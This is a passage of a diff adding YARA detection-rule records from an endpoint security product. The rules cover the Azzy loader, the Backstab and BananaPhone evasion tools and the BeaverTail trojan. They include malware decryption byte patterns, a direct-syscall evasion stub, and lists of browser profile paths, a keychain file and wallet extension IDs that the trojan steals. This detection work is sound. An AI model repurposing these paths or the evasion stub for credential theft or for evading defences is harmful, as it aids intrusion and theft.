             // add     eax, 0x3\n            33 ??                           // xor     edx, edx  {0x0}\n            b? 08 00 00 00                  // mov     ebx, 0x8\n            (f7|f6) ??                      // div     ebx\n            [3]                             // mov     eax, dword [ebp+0x14 {key}]\n            0f (b6|b7) ?? ??                // movzx   edx, byte [eax+edx]\n            33 ??                           // xor     edi, edx\n            23 ??                           // and     esi, edi\n            0f af ??                        // imul    ecx, esi\n            [12]                            // mov     byte [ebp-0x1 {var_5_1}], cl\n                                            // mov     eax, dword [ebp-0xc {i}]\n                                            // mov     ecx, dword [ebp-0x8 {j}]\n                                            // lea     edx, [ecx+eax*8]\n            0f (b6|b7) ?? ??                // movzx   eax, byte [ebp-0x1 {var_5_1}]\n            [3]                             // mov     ecx, dword [ebp+0x8 {data}]\n            0f (b6|b7) ?? ??                // movzx   edx, byte [ecx+edx]\n            33 ??                           // xor     edx, eax\n        }\n\n        $s_key01_00 = { C? 45 ?? 46 9E 7F 55 C? 45 ?? D8 A4 76 04 }\n        $s_key01_01 = { C? 45 ?? DE 48 9F 35 C? 45 ?? 33 F5 76 4C }\n\n        $s_custom_decryption_function01 = {\n            8? ?? 02       // sub     bl, 2\n            [2]            // mov     eax, edi\n            8? ?? 07       // and     eax, 7\n            [2]            // mov     dh, bl\n            02 ??          // add     dh, bh\n            32 ?? ??       // xor     dh, [eax+ecx]\n            8? 4? ??       // mov     eax, [ebp+arg_4]\n            8? 4? ??       // mov     ecx, [ebp+var_8]\n            83 ?? 07       // and     ecx, 7\n            22 ?? ??       // and     dh, [ecx+eax]\n            8? 4? ??       // mov     ecx, [ebp+var_8]\n            8A [3]         // mov     dl, [ecx+eax-2]\n            02 ??          // add     dl, bl\n            02 ??          // add     dl, bh\n            (C0|C1) ?? 04  // shl     dl, 4\n            49             // dec     ecx\n            83 ?? 07       // and     ecx, 7\n            32 ?? ??       // xor     dl, [ecx+eax]\n            [2]            // mov     al, dh\n            (F6|F7) ??     // imul    dl\n            30 ??          // xor     [esi], al\n        }\n\n        $s_key03_00 = { 23 a7 b8 d9 f5 83 24 be }\n\n        $s_custom_decryption_function02 = {\n            8? ?? 07                        // and     edx, 0x7\n            8d ?? ?? ??                     // lea     ecx, [edi+eax+0x1]\n            8? ?? 07                        // and     ecx, 0x7\n            8? ?? ??                        // mov     dl, byte [edx+esi]\n            (30|31|32|33|34|35) ??          // xor     dl, bl\n            8d ?? ??                        // lea     ebx, [edi+eax]\n            2? ?? ??                        // and     dl, byte [ecx+esi]\n            8d ?? ?? ??                     // lea     ecx, [esi+edi-0x1]\n            8? ?? 07                        // and     ebx, 0x7\n            0f (b6|b7) ?? ??                // movzx   ecx, byte [ecx+eax]\n            0f af ??                        // imul    ecx, eax\n            (c0|c1) ?? 07                   // shr     ecx, 0x7\n            (30|31|32|33|34|35) ?? ??       // xor     cl, byte [ebx+esi]\n            02 ??                           // add     dl, cl\n            8? ?? ??                        // mov     ecx, dword [ebp-0x14 {var_18_1}]\n            30 ??                           // xor     byte [ecx], dl\n            8? ?? ??                        // mov     ecx, dword [ebp-0x8 {i_1}]\n            4?                              // inc     ecx\n            4?                              // inc     eax\n            8? ?? 08                        // cmp     ecx, 0x8\n        }\n\n        $s_custom_decryption_function03 = {\n            8? ?? 07                    // and     edx, 0x7\n            03 ??                       // add     edi, eax\n            02 ??                       // add     bl, cl\n            8? ?? 07                    // and     edi, 0x7\n            8? ?? ??                    // mov     dl, byte [edx+esi]\n            (30|31|32|33|34|35) ??      // xor     dl, bl\n            2? ?? ??                    // and     dl, byte [edi+esi]\n            8? ?? ??                    // mov     edi, dword [ebp-0x4 {var_8_3}]\n            0f (b6|b7) ?? ??            // movzx   ebx, byte [eax+edi]\n            8? ?? ??                    // mov     edi, dword [ebp-0x8 {var_c_1}]\n            0f af ??                    // imul    ebx, eax\n            03 ??                       // add     edi, eax\n            8? ?? 07                    // and     edi, 0x7\n            (c0|c1) ?? 07               // shr     ebx, 0x7\n            (30|31|32|33|34|35) ?? ??   // xor     bl, byte [edi+esi]\n            8? ?? ??                    // mov     edi, dword [ebp+0x8 {arg1}]\n            02 ??                       // add     dl, bl\n            (30|31|32|33|34|35) ?? ??   // xor     byte [eax+edi], dl\n            4?                          // inc     ecx\n            4?                          // inc     eax\n        }\n\n        $s_custom_decryption_function04 = {\n            8? ?? 07                    // and     ebx, 0x7\n            (30|31|32|33|34|35) ?? ??   // xor     dl, byte [ebx+esi]\n            8d ?? ?? ??                 // lea     ebx, [edi+eax+0x1]\n            8? ?? 07                    // and     ebx, 0x7\n            2? ?? ??                    // and     dl, byte [ebx+esi]\n            4?                          // inc     ecx\n            8? ??                       // mov     bl, dl\n            8d ?? ?? ??                 // lea     edx, [esi+edi-0x1]\n            0f (b6|b7) ?? ??            // movzx   edx, byte [edx+eax]\n            0f af ??                    // imul    edx, eax\n            03 ??                       // add     edi, eax\n            (c0|c1) ?? 07               // shr     edx, 0x7\n            8? ?? 07                    // and     edi, 0x7\n            (30|31|32|33|34|35) ?? ??   // xor     dl, byte [edi+esi]\n            8? ?? ??                    // mov     edi, dword [ebp-0x8 {var_c_1}]\n            02 da                       // add     bl, dl\n            8? ?? ??                    // mov     edx, dword [ebp+0x8 {arg1}]\n            (30|31|32|33|34|35) ?? ??   // xor     byte [edx+eax], bl\n            4?                          // inc     eax\n            8? ?? 08                    // cmp     ecx, 0x8\n        }\n\n        $s_custom_decryption_function05 = {\n            8? ?? 07                            // and     ecx, 0x7\n            8? ?? 07                            // and     edi, 0x7\n            (30|31|32|33|34|35) ?? ??           // xor     bl, byte [edi+esi]\n            8? ?? ??                            // mov     edi, dword [ebp-0x14 {var_18_1}]\n            2? ?? ??                            // and     bl, byte [ecx+esi]\n            8? ?? ??                            // mov     ecx, dword [ebp-0x18 {var_1c_1}]\n            0f (b6|b7) ?? ??                    // movzx   ecx, byte [eax+ecx]\n            0f af ??                            // imul    ecx, eax\n            03 ??                               // add     edi, eax\n            (c0|c1) ?? 07                       // shr     ecx, 0x7\n            8? ?? 07                            // and     edi, 0x7\n            (30|31|32|33|34|35) ?? ??           // xor     cl, byte [edi+esi]\n            4?                                  // inc     eax\n            02 ??                               // add     bl, cl\n            8? ?? ??                            // mov     ecx, dword [ebp+0x8 {arg1}]\n            (30|31|32|33|34|35) ?? ?? ??        // xor     byte [eax+edx-0x1], bl\n            4?                                  // inc     ecx\n        }\n\n        $s_custom_decryption_function_may2024_06 = {\n            (80|81|82|83) ?? 02         //       sub     bl, 0x2\n            8? ??                       //       mov     bh, bl\n            (00|01|02|03|04|05) ??      //       add     bh, dl\n            8? ?? ??                    //       mov     edx, dword [ebp+0xc {arg3}]\n            8? ??                       //       mov     eax, edi\n            83 ?? 07                    //       and     eax, 0x7\n            (30|31|32|33|34|35) ?? ??   //       xor     bh, byte [eax+edx]\n            8? ?? ??                    //       mov     eax, dword [ebp+0xc {arg3}]\n            8? ??                       //       mov     edx, ecx\n            83 ?? 07                    //       and     edx, 0x7\n            4?                          //       dec     ecx\n            2? ?? ??                    //       and     bh, byte [edx+eax]\n            8? ?? ?? ??                 //       mov     dl, byte [eax+ecx-0x1]\n            (00|01|02|03|04|05) ??      //       add     dl, bl\n            (00|01|02|03|04|05) ?? ??   //       add     dl, byte [ebp-0x1 {var_5_1}]\n            83 ?? 07                    //       and     ecx, 0x7\n            (c0|c1) ?? 04               //       shl     dl, 0x4\n            (30|31|32|33|34|35) ?? ??   //       xor     dl, byte [ecx+eax]\n            8? ??                       //       mov     al, bh\n            (f6|f7) ??                  //       imul    dl\n            (30|31|32|33|34|35) ??      //       xor     byte [esi], al\n            8? ?? ??                    //       mov     dl, byte [ebp-0x1 {var_5_1}]\n            8? cf                       //       mov     ecx, edi\n            8d ?? ??                    //       lea     eax, [ecx-0x2]\n            8? ?? 08                    //       cmp     eax, 0x8\n        }\n\n        $s_custom_decryption_function_may2024_07 = {\n            (80|81|82|83) ?? 02             //          sub     bl, 0x2\n            8? c7                           //       mov     eax, edi\n            83 ?? 07                        //       and     eax, 0x7\n            8? ??                           //       mov     dh, bl\n            0? ??                           //       add     dh, bh\n            (30|31|32|33|34|35) ?? ??       //       xor     dh, byte [eax+ecx]\n            8? ?? ??                        //       mov     eax, dword [ebp+0xc {arg3}]\n            8? ?? ??                        //       mov     ecx, dword [ebp-0x8 {var_c_1}]\n            83 ?? 07                        //       and     ecx, 0x7\n            2? ?? ??                        //       and     dh, byte [ecx+eax]\n            8? ?? ??                        //       mov     ecx, dword [ebp-0x8 {var_c_1}]\n            4?                              //       dec     ecx\n            8? ?? ?? ??                     //       mov     dl, byte [ecx+eax-0x1]\n            (00|01|02|03|04|05) ??          //       add     dl, bl\n            (00|01|02|03|04|05) ??          //       add     dl, bh\n            83 ?? 07                        //       and     ecx, 0x7\n            (c0|c1) ?? 04                   //       shl     dl, 0x4\n            (30|31|32|33|34|35) ?? ??       //       xor     dl, byte [ecx+eax]\n            8? ?? ??                        //       mov     ecx, dword [ebp+0xc {arg3}]\n            8? ??                           //       mov     al, dh\n            (f6|f7) ??                      //       imul    dl\n            (30|31|32|33|34|35) ??          //       xor     byte [esi], al\n        }\n\n        $s_custom_decryption_function_08 = {\n            8d ?? ??                        // lea     eax, [ecx+0x1]\n            8? ?? ??                        // mov     dword [ebp+0x14 {arg4}], eax\n            8? ?? ?? ??                     // mov     al, byte [esi+ecx-0x2]\n            (00|01|02|03|04|05) ??          // add     al, bl\n            8d ?? ??                        // lea     edx, [ecx-0x2]\n            (00|01|02|03|04|05) ??          // add     al, dl\n            (c0|c1) ?? 04                   // shl     al, 0x4\n            8d ?? ??                        // lea     edi, [ecx-0x1]\n            8? ?? 07                        // and     edi, 0x7\n            (30|31|32|33|34|35) ?? ??       // xor     al, byte [edi+esi]\n            8? ?? ??                        // mov     edi, dword [ebp+0x14 {arg4}]\n            (00|01|02|03|04|05) ??          // add     bl, dl\n            8? ?? 07                        // and     edi, 0x7\n            (30|31|32|33|34|35) ?? ??       // xor     bl, byte [edi+esi]\n            8? ??                           // mov     edx, ecx\n            8? ?? 07                        // and     edx, 0x7\n            2? ?? ??                        // and     bl, byte [edx+esi]\n            8? ?? ??                        // mov     edx, dword [ebp-0x8 {var_c_1}]\n            (f6|f7) ??                      // imul    bl\n            (30|31|32|33|34|35) ?? ??       // xor     byte [edx+ecx], al\n            8? ?? ??                        // mov     ecx, dword [ebp+0x14 {arg4}]\n            8d ?? ??                        // lea     eax, [ecx-0x2]\n            8? ?? 08                        // cmp     eax, 0x8\n        }\n\n        $s_custom_decryption_function_09 = {\n            8d ?? ??                       // lea     ecx, [edx+0x1]\n            8? ?? ??                       // mov     dword [ebp+0x10 {arg3}], ecx\n            8d ?? ??                       // lea     ecx, [edx-0x2]\n            (00|01|02|03|04|05) ??         // add     al, cl\n            (00|01|02|03|04|05) ??         // add     al, bl\n            (c0|c1) ?? 04                  // shl     al, 0x4\n            8d ?? ??                       // lea     edi, [edx-0x1]\n            8? ?? 07                       // and     edi, 0x7\n            (30|31|32|33|34|35) ?? ??      // xor     al, byte [edi+esi]\n            8? ?? ??                       // mov     edi, dword [ebp+0x10 {arg3}]\n            8? ?? 07                       // and     edi, 0x7\n            (00|01|02|03|04|05) ??         // add     cl, bl\n            (30|31|32|33|34|35) ?? ??      // xor     cl, byte [edi+esi]\n            8? ??                          // mov     edi, edx\n            8? ?? 07                       // and     edi, 0x7\n            2? ?? ??                       // and     cl, byte [edi+esi]\n            (f6|f7) ??                     // imul    cl\n            8? ?? ??                       // mov     ecx, dword [ebp+0x8 {arg1}]\n            (30|31|32|33|34|35) ?? ??      // xor     byte [edx+ecx], al\n            8? ?? ??                       // mov     edx, dword [ebp+0x10 {arg3}]\n            8d ?? ??                       // lea     eax, [edx-0x2]\n        }\n\n        $s_dll_name01 = \"tf394kv.dll\" ascii wide fullword\n        $s_dll_name02 = \"msdetltemp.dll\" ascii wide fullword\n\n    condition:\n        1 of ($s_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "azzy"
+  ],
+  "rule_creation_date": "2024-07-08",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.Azzy"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.execution",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1518",
+    "attack.t1036",
+    "attack.t1083",
+    "attack.t1018",
+    "attack.t1055",
+    "attack.t1057",
+    "attack.t1574",
+    "attack.t1027.013",
+    "attack.t1129",
+    "attack.t1574.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-backstab_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585387Z",
+  "creation_date": "2026-03-23T11:46:25.585389Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585394Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Yaxser/Backstab/\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "backstab.yar",
+  "content": "rule backstab {\n    meta:\n        title = \"Backstab HackTool\"\n        id = \"44d66868-af5c-443d-9eaf-c912ea34384f\"\n        description = \"Detects the Backstab hacktool.\\nBackstab is a tool that leverages the Microsoft ProcExp driver to kill protected processes. It loads the Microsoft driver using NtLoadDriver to avoid creating a service, then enumerates process handles and kills the one specified.\\nIt is recommended to investigate for any unusual process termination activities.\"\n        references = \"https://github.com/Yaxser/Backstab/\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2023-05-26\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001\"\n        os = \"Windows\"\n        classification = \"Windows.HackTool.Backstab\"\n        context = \"process,memory,thread,file.pe\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 307eb30c7d3640ca11f564b1dbbb7a133236c3c9b45192ddcb317477a9f54b59\n\n        $s1 = \"procexp.sys\" wide\n        $s2 = \"\\\\Registry\\\\Machine\\\\System\\\\CurrentControlSet\\\\Services\\\\%w\" wide\n        $s3 = \"Backstab.pdb\" ascii\n        $s4 = \"Handle  Type   Device\"  fullword ascii\n        $s5 = \"=======================\" fullword ascii\n        $s6 = \"[%#5llx] [%ws] %ws\" fullword ascii\n\n    condition:\n        5 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "backstab"
+  ],
+  "rule_creation_date": "2023-05-26",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Backstab"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-bananaphone_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.588434Z",
+  "creation_date": "2026-03-23T11:46:25.588436Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.588441Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf\nhhttps://github.com/C-Sto/BananaPhone"
+  ],
+  "name": "bananaphone.yar",
+  "content": "rule bananaphone {\n    meta:\n        title = \"BananaPhone Hell's Gate Technique\"\n        id = \"67a10c5e-aa66-4bcd-bc7e-d40729e7a45c\"\n        description = \"Detects BananaPhone, an Hell's Gate technique implementation in GoLang.\\nBananaPhone is designed to bypass usermode hooking mechanisms used by EDRs (Endpoint Detection and Response) through direct syscalls. This technique allows it to evade detection by avoiding usermode hooks commonly employed by security tools.\\nIt is recommended to investigate the process that matches this rule for potential malicious content, either within the binary itself or in its memory.\"\n        references = \"https://vxug.fakedoma.in/papers/VXUG/Exclusive/HellsGate.pdf\\nhhttps://github.com/C-Sto/BananaPhone\"\n        date = \"2023-07-10\"\n        modified = \"2025-03-06\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055\"\n        classification = \"Windows.Generic.HellsGate\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // c5af2d7f1813d5388226f88b3791ac6f2d5592c39e3e3e6c6db97dd108518159\n\n        // https://github.com/C-Sto/BananaPhone/blob/master/pkg/BananaPhone/asm_x64.s\n        $syscall = {\n            48 31 C0                                      // xor     rax, rax\n            66 8B 44 24 08                                // mov     ax, [rsp+arg_0]\n            51                                            // push    rcx\n            48 8B 4C 24 20                                // mov     rcx, [rsp+8+arg_10]\n            48 8B 74 24 18                                // mov     rsi, [rsp+8+arg_8]\n            65 48 8B 3C 25 30 00 00 00                    // mov     rdi, gs:30h\n            C7 47 68 00 00 00 00                          // mov     dword ptr [rdi+68h], 0\n            48 81 EC 80 00 00 00                          // sub     rsp, 80h\n            83 F9 04                                      // cmp     ecx, 4\n            7E 11                                         // jle     short loc_4BB560\n            83 F9 10                                      // cmp     ecx, 10h\n            7E 02                                         // jle     short loc_4BB556\n            CD 03                                         // int     3\n\n                                          // loc_4BB556:\n            48 89 E7                                      // mov     rdi, rsp\n            FC                                            // cld\n            F3 48 A5                                      // rep movsq\n            48 89 E6                                      // mov     rsi, rsp\n\n                                          // loc_4BB560:\n            48 83 EC 08                                   // sub     rsp, 8\n            48 8B 0E                                      // mov     rcx, [rsi]\n            48 8B 56 08                                   // mov     rdx, [rsi+8]\n            4C 8B 46 10                                   // mov     r8, [rsi+10h]\n            4C 8B 4E 18                                   // mov     r9, [rsi+18h]\n            66 48 0F 6E C1                                // movq    xmm0, rcx\n            66 48 0F 6E CA                                // movq    xmm1, rdx\n            66 49 0F 6E D0                                // movq    xmm2, r8\n            66 49 0F 6E D9                                // movq    xmm3, r9\n            49 89 CA                                      // mov     r10, rcx\n            0F 05                                         // syscall\n            48 81 C4 88 00 00 00                          // add     rsp, 88h\n            59                                            // pop     rcx\n            89 44 24 28                                   // mov     [rsp+arg_20], eax\n            C3                                            // retn\n        }\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "bananaphone"
+  ],
+  "rule_creation_date": "2023-07-10",
+  "rule_modified_date": "2025-03-06",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Generic.HellsGate"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-beavertail_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.576543Z",
+  "creation_date": "2026-03-23T11:46:25.576545Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.576551Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/js.beavertail\nhttps://objective-see.org/blog/blog_0x7A.html\nhttps://www.group-ib.com/blog/apt-lazarus-python-scripts/\nhttps://attack.mitre.org/groups/G0032/"
+  ],
+  "name": "beavertail.yar",
+  "content": "rule beavertail {\n    meta:\n        title = \"BeaverTail Trojan\"\n        id = \"e3693118-2972-411c-9ac6-5fc784ecf40c\"\n        description = \"Detects BeaverTail, a Trojan that can be distributed through NPM packages or a fake installer that impersonates a legitimate application.\\nBeaverTail is linked to the Lazarus Group (also known as APT38 or DPRK), a North Korean state-sponsored cyber threat group.\\nThis malware is designed for information theft, including stealing cryptocurrency wallets and credit card information stored in the victim's web browsers.\\nIt is recommended to check for any suspicious activity in the user's web browsers.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/js.beavertail\\nhttps://objective-see.org/blog/blog_0x7A.html\\nhttps://www.group-ib.com/blog/apt-lazarus-python-scripts/\\nhttps://attack.mitre.org/groups/G0032/\"\n        date = \"2024-10-23\"\n        modified = \"2025-07-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1539;attack.t1555.003;attack.command_and_control;attack.t1571;attack.exfiltration;attack.t1041\"\n        classification = \"Trojan.BeaverTail\"\n        context = \"process,memory,thread\"\n        os = \"Windows,MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 91f96f2ddfa293806ec3effb8e05bc6941660237de90215b23281d706a2bc706\n        // 0d8119f01d727beacbe6fe877541b3c11b084ffdc53c8bae436aca3dbc197076\n        // 0621d37818c35e2557fdd8a729e50ea662ba518df8ca61a44cc3add5c6deb3cd\n        // 24b89c77eaeebd4b02c8e8ab6ad3bd7abaa18893ecd469a6a04eda5e374dd305\n\n        $s1 = \"form-data; name=\\\"multi_file\\\"; filename=\\\"%1\\\"\" ascii fullword\n        $s2 = \"/pdown\" ascii fullword\n        $s3 = \"/client/99\" ascii fullword\n        $s4 = \"/.pyp/python.exe\" ascii fullword\n        $s5 = \"Download Python Success!\" ascii fullword\n\n        $data1  = \"/AppData/Local/Google/Chrome/User Data\" ascii fullword\n        $data2  = \"/.config/google-chrome\" ascii fullword\n        $data3  = \"/Library/Application Support/Google/Chrome\" ascii fullword\n        $data4  = \"/AppData/Local/BraveSoftware/Brave-Browser/User Data\" ascii fullword\n        $data5  = \"/.config/BraveSoftware/Brave-Browser\" ascii fullword\n        $data6  = \"/Library/Application Support/BraveSoftware/Brave-Browser\" ascii fullword\n        $data7  = \"/AppData/Roaming/Opera Software/Opera Stable\" ascii fullword\n        $data8  = \"/.config/opera\" ascii fullword\n        $data9  = \"/Library/Application Support/com.operasoftware.opera\" ascii fullword\n        $data10 = \"/Library/Keychains/login.keychain-db\" ascii fullword\n\n        $wallet1  = \"nkbihfbeogaeaoehlefnkodbefgpgknn\" ascii fullword\n        $wallet2  = \"ejbalbakoplchlghecdalmeeeajnimhm\" ascii fullword\n        $wallet3  = \"fhbohimaelbohpjbbldcngcnapndodjp\" ascii fullword\n        $wallet4  = \"hnfanknocfeofbddgcijnmhnfnkdnaad\" ascii fullword\n        $wallet5  = \"ibnejdfjmmkpcnlpebklmnkoeoihofec\" ascii fullword\n        $wallet6  = \"bfnaelmomeimhlpmgjnjophhpkkoljpa\" ascii fullword\n        $wallet7  = \"aeachknmefphepccionboohckonoeemg\" ascii fullword\n        $wallet8  = \"hifafgmccdpekplomjjkcfgodnhcellj\" ascii fullword\n        $wallet9  = \"jblndlipeogpafnldhgmapagcccfchpi\" ascii fullword\n        $wallet10 = \"acmacodkjbdgmoleebolmdjonilkdbch\" ascii fullword\n        $wallet11 = \"dlcobpjiigpikoobohmabehhmhfoodbb\" ascii fullword\n        $wallet12 = \"mcohilncbfahbmgdjkbpemcciiolgcge\" ascii fullword\n        $wallet13 = \"agoakfejjabomempkjlepdflaleeobhb\" ascii fullword\n        $wallet14 = \"omaabbefbmiijedngplfjmnooppbclkk\" ascii fullword\n        $wallet15 = \"aholpfdialjgjfhomihkjbmgjidlcdno\" ascii fullword\n        $wallet16 = \"nphplpgoakhhjchkkhmiggakijnkhfnd\" ascii fullword\n        $wallet17 = \"penjlddjkjgpnkllboccdgccekpkcbin\" ascii fullword\n        $wallet18 = \"lgmpcpglpngdoalbgeoldeajfclnhafa\" ascii fullword\n        $wallet19 = \"fldfpgipfncgndfolcbkdeeknbbbnhcc\" ascii fullword\n        $wallet20 = \"bhhhlbepdkbapadjdnnojkbgioiodbic\" ascii fullword\n        $wallet21 = \"gjnckgkfmgmibbkoficdidcljeaaaheg\" ascii fullword\n        $wallet22 = \"afbcbjpbpfadlkmhmclhkeeodmamcflc\" ascii fullword\n\n    condition:\n        2 of ($s*) and\n        2 of ($data*) and\n        2 of ($wallet*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "beavertail"
+  ],
+  "rule_creation_date": "2024-10-23",
+  "rule_modified_date": "2025-07-07",
+  "rule_os": [
+    "macos",
+    "windows"
+  ],
+  "rule_classifications": [
+    "Trojan.BeaverTail"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1555.003",
+    "attack.t1539",
+    "attack.t1571",
+    "attack.t1041"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-bedevil_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564092Z",
+  "creation_date": "2026-03-23T11:46:25.564094Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564100Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Error996/bdvl\nhttps://dfir.ch/posts/bedevil_dynamic_linker_patching/\nhttps://unit42.paloaltonetworks.com/muddled-libra/"
+  ],
+  "name": "bedevil.yar",
